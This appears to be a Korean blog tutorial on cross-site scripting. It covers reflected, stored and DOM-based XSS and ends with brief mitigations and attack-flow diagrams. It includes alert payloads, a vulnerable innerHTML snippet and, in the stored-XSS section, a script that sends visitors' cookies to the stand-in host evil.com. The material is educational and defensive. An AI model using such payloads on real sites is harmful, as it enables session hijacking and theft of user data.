XSS(Cross-Site Scripting)는 웹 애플리케이션 보안에서 가장 일반적이면서도 위험한 취약점 중 하나입니다. 사용자의 입력을 제대로 필터링하지 않고 브라우저에 출력함으로써 악성 스크립트가 실행되며, 공격자는 이를 통해 쿠키 탈취, 세션 하이재킹, 피싱 등 다양한 공격을 수행할 수 있습니다.
XSS(Cross-Site Scripting)는 공격자가 피해자의 브라우저에서 악성 스크립트를 실행하게 만들어 웹사이트의 권한을 탈취하거나 사용자 정보를 유출할 수 있는 웹 보안 취약점입니다.
주로 다음과 같은 상황에서 발생합니다:
정의:
사용자의 요청(Request)에 포함된 악성 스크립트가 즉시 응답(Response)에 반영되어 실행되는 유형입니다.
특징:
예시:
http://example.com/search?q=<script>alert('XSS')</script>
서버가 q
파라미터 값을 그대로 출력하면, 해당 스크립트가 실행됩니다.
정의:
공격자가 삽입한 악성 스크립트가 서버나 데이터베이스에 저장되어, 이후 페이지를 조회하는 사용자들에게 자동으로 실행되는 유형입니다.
특징:
예시:
<script>document.location='http://evil.com/steal?cookie=' + document.cookie</script>
이 스크립트를 게시글에 삽입하면, 그 글을 보는 모든 사용자의 쿠키가 공격자에게 전송됩니다.
정의:
서버를 거치지 않고 클라이언트 측 JavaScript가 DOM(Document Object Model)을 조작하는 과정에서 발생하는 XSS입니다.
특징:
예시 (취약한 코드):
var userInput = location.hash.substring(1); // #<script>alert(1)</script>
document.getElementById("output").innerHTML = userInput;
해당 페이지 URL에 #<script>alert(1)</script>
를 붙여 방문하면, 해당 코드가 브라우저에서 실행됩니다.
<
→ <
, >
→ >
등)textContent
, innerText
등을 활용HttpOnly
, Secure
, SameSite
속성 지정[사용자] → [악성 URL 클릭] → [웹 서버 응답] → [브라우저에서 스크립트 실행] → [사용자 정보 탈취]
또는, 저장형의 경우:
[공격자 → 게시판에 악성 스크립트 저장]
↓
[다른 사용자 → 게시판 열람]
↓
[브라우저에서 악성 스크립트 실행]
↓
[세션 탈취, 키로깅, 피싱 등]
오늘은 AI 생태계에 혁신적인 변화를 가져올 것으로 예상되는 MCP(Model Context Protocol)에 대해 상세히 알아보겠습니다. 2024년…
1. TPM이란? TPM(Trusted Platform Module)은 국제 표준 기반의 보안 하드웨어 칩으로, 컴퓨터나 디지털 장비 내에서…
시즌2, 기대했는데... 실망도 두 배!두뇌싸움을 기대했는데, 전략도 없는 자기들만의 감정에 따른 편가르기, 정치싸움이 되어 버린…
BPF(Berkeley Packet Filter) 도어는 해커가 관리자 몰래 뒷문을 새로 만든 것입니다.해커가 명령을 내려 특정 데이터들을 뒷문을…
1. IPC의 개념과 목적 1.1 IPC란 무엇인가? IPC (Inter-Process Communication)는 운영체제 내의 서로 독립적인 프로세스…